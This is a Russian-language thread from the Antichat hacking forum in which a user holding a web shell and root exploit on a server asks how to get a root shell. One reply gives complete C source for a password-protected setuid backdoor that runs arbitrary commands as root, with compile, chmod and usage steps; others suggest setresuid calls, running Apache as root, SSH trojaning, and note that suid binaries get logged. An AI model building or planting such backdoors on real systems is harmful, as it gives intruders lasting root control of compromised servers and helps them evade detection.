ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Как сделать root шел?
  #1  
Старый 21.04.2010, 13:37
Аватар для amster
amster
Новичок
Регистрация: 22.04.2006
Сообщений: 15
Провел на форуме:
29458

Репутация: 2
По умолчанию Как сделать root шел?

Вообщем имеется обычный шел, с помощью експлойта получаю рута, но как сделать шел с правами рута не пойму.
Пробовал давать группу и владельца шелу root, результат 0
Что нужно сделать?
 
Ответить с цитированием

  #2  
Старый 21.04.2010, 13:43
Аватар для WNZRS
WNZRS
Участник форума
Регистрация: 03.09.2009
Сообщений: 179
Провел на форуме:
1014907

Репутация: 90
Отправить сообщение для WNZRS с помощью ICQ
По умолчанию

нужно сделать прогу с правами рута, через которую твой шел станет рутовым. Где-то тут статья есть.
 
Ответить с цитированием

  #3  
Старый 21.04.2010, 13:46
Аватар для Twoster
Twoster
Reservists Of Antichat - Level 6
Регистрация: 20.08.2008
Сообщений: 328
Провел на форуме:
7144817

Репутация: 1503
По умолчанию

наипростейший но и палевный способ - сделать суидник - простую программу, которая выполняет посланные в виде аргумента команды, на которую установлены суид-права из под рута (chmod 4***). Есть более надежные способы - типа ссш-протроянивания, но для веб-шелла не подходит.


UPD:
Вот код суидника:
Цитата:
#include <stdio.h>
#include <stdlib.h>
main(int argc, char *argv[])
{
// проверяем количество аргументов
if(argc == 3){
//проверяем наш пароль cool_hack
if(strcmp(argv[1],"cool_hack") == 0){
// Устанавливаем gid(0) r00t
setgid(0);
// Устанавливаем uid(0) r00t
setuid(0);
// Выполняем команды с установленными ранее правами
system(argv[2]);
}
}
return 0;
}
компилишь и устанавливаешь суидные права под рутом, потом с шелла юзаешь, например : "./suid cool_hack id"



UPD2:
изменять права файлу шелла на рутовые не имеет смысла, т.к. php-файл не исполняемый.
__________________

You may say I'm a dreamer
But I'm not the only one

Последний раз редактировалось Twoster; 21.04.2010 в 13:54..
 
Ответить с цитированием

  #4  
Старый 21.04.2010, 13:56
Аватар для $n@ke
$n@ke
Постоянный
Регистрация: 18.09.2006
Сообщений: 867
Провел на форуме:
2805813

Репутация: 1396


По умолчанию

Цитата:
Вообщем имеется обычный шел, с помощью експлойта получаю рута, но как сделать шел с правами рута не пойму.
Пробовал давать группу и владельца шелу root, результат 0
Что нужно сделать?
Если имеется ввиду веб-шелл, тогда просто в httpd.conf(или подобном) выставить юзера root вместо apache\www-data и рестартануть апач.

какой вопрос, такой ответ.

Последний раз редактировалось $n@ke; 21.04.2010 в 14:16..
 
Ответить с цитированием

  #5  
Старый 21.04.2010, 22:00
Аватар для ShAnKaR
ShAnKaR
Пачка маргарина
Регистрация: 14.07.2005
Сообщений: 964
Провел на форуме:
4646474

Репутация: 1424


Отправить сообщение для ShAnKaR с помощью ICQ
По умолчанию

Цитата:
Сообщение от $n@ke  
Если имеется ввиду веб-шелл, тогда просто в httpd.conf(или подобном) выставить юзера root вместо apache\www-data и рестартануть апач.
апач не будет работать
 
Ответить с цитированием

  #6  
Старый 21.04.2010, 22:25
Аватар для overxor
overxor
Новичок
Регистрация: 11.09.2009
Сообщений: 23
Провел на форуме:
64270

Репутация: 23
Отправить сообщение для overxor с помощью ICQ
По умолчанию

Twoster, не всегда получается, так что нужен рутовый шел в системе линукс. Во FreeBSD, например, права таким образом не поднимутся.

в стиле bsd и, вообще, портабельней будет делать
Цитата:
setresuid(0,0,0);
setresgid(0,0,0);
Таким образом попытается установить реальный, действительный и сохраненый uid и gid в 0.

В журнале "хакер" эта тема достаточно хорошо освещена
http://www.xakep.ru/post/50734

ЗЫ. Не забывай, что пишется лог об установленных suid'никах
 
Ответить с цитированием

  #7  
Старый 21.04.2010, 22:28
Аватар для Pashkela
Pashkela
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме:
9220514

Репутация: 3338


Отправить сообщение для Pashkela с помощью ICQ
По умолчанию

Цитата:
В журнале "хакер" эта тема достаточно хорошо освещена
http://www.xakep.ru/post/50734
кхм, ты на автора той статьи в ][ взгляни, там сверху рыженьким нарисовано
 
Ответить с цитированием

  #8  
Старый 21.04.2010, 23:50
Аватар для $n@ke
$n@ke
Постоянный
Регистрация: 18.09.2006
Сообщений: 867
Провел на форуме:
2805813

Репутация: 1396


По умолчанию

Цитата:
Сообщение от ShAnKaR  
апач не будет работать
я б не стал так категорично..бывали случаи.
 
Ответить с цитированием

  #9  
Старый 22.04.2010, 00:37
Аватар для overxor
overxor
Новичок
Регистрация: 11.09.2009
Сообщений: 23
Провел на форуме:
64270

Репутация: 23
Отправить сообщение для overxor с помощью ICQ
По умолчанию

Twoster, сори за невнимательность, не заметил
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[Delphi]/[Pascal] Задай вопрос, получи ответ Isis С/С++, C#, Delphi, .NET, Asm 6762 17.06.2010 21:23
Как стать админом ICQ (c) yarrak InfernoNet Болталка 77 06.08.2009 15:15
Как своими руками сделать принтер HP LaserJet 1300 совместимым с расходниками LJ 1200 dinar_007 Аппаратное обеспечение 2 08.09.2006 00:41



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ